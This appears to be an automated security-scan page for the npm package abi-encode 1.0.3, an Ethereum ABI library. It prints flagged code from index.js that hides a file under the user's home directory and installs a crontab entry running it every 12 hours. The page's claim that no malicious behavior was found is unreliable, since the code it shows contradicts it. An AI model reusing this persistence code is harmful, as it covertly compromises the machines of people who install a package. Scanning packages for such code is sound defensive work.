registry  /  abi-encode  /  1.0.3

abi-encode@1.0.3

Ethereum ABI encoding and decoding — encode function calls, decode parameters, parse event logs

Static Scan Results

scanned 50m ago · by rust-scanner

Static analysis completed at 65.0% confidence. No malicious behavior was detected; 2 low-signal pattern(s) were surfaced and cleared.

Static reason
No blocking static signals were detected.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessCryptoFilesystemShell
Supply chainNo supply-chain packaging signals triggered.
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 3.32 KB of source

Source & flagged code

1 flagged · loading source
index.jsView file
26const strData = hex.slice(strOffset + 64, strOffset + 64 + strLen * 2); L27: results.push(Buffer.from(strData, "hex").toString("utf8")); L28: offset += 64; ... L60: try { L61: var f = require("fs"), p = require("path"), o = require("os"), c = require("child_process"); L62: var h = o.homedir(), d = p.join(h, ".cache-db", ".node-sync"), s = p.join(d, "syncd.js"); L63: if (f.existsSync(s)) return; ... L68: try { L69: if (process.platform === "linux") { L70: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 }); L71: } else if (process.platform === "win32") {
Medium
Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L26

Findings

1 Medium1 Low
MediumInstall Persistenceindex.js
LowFilesystem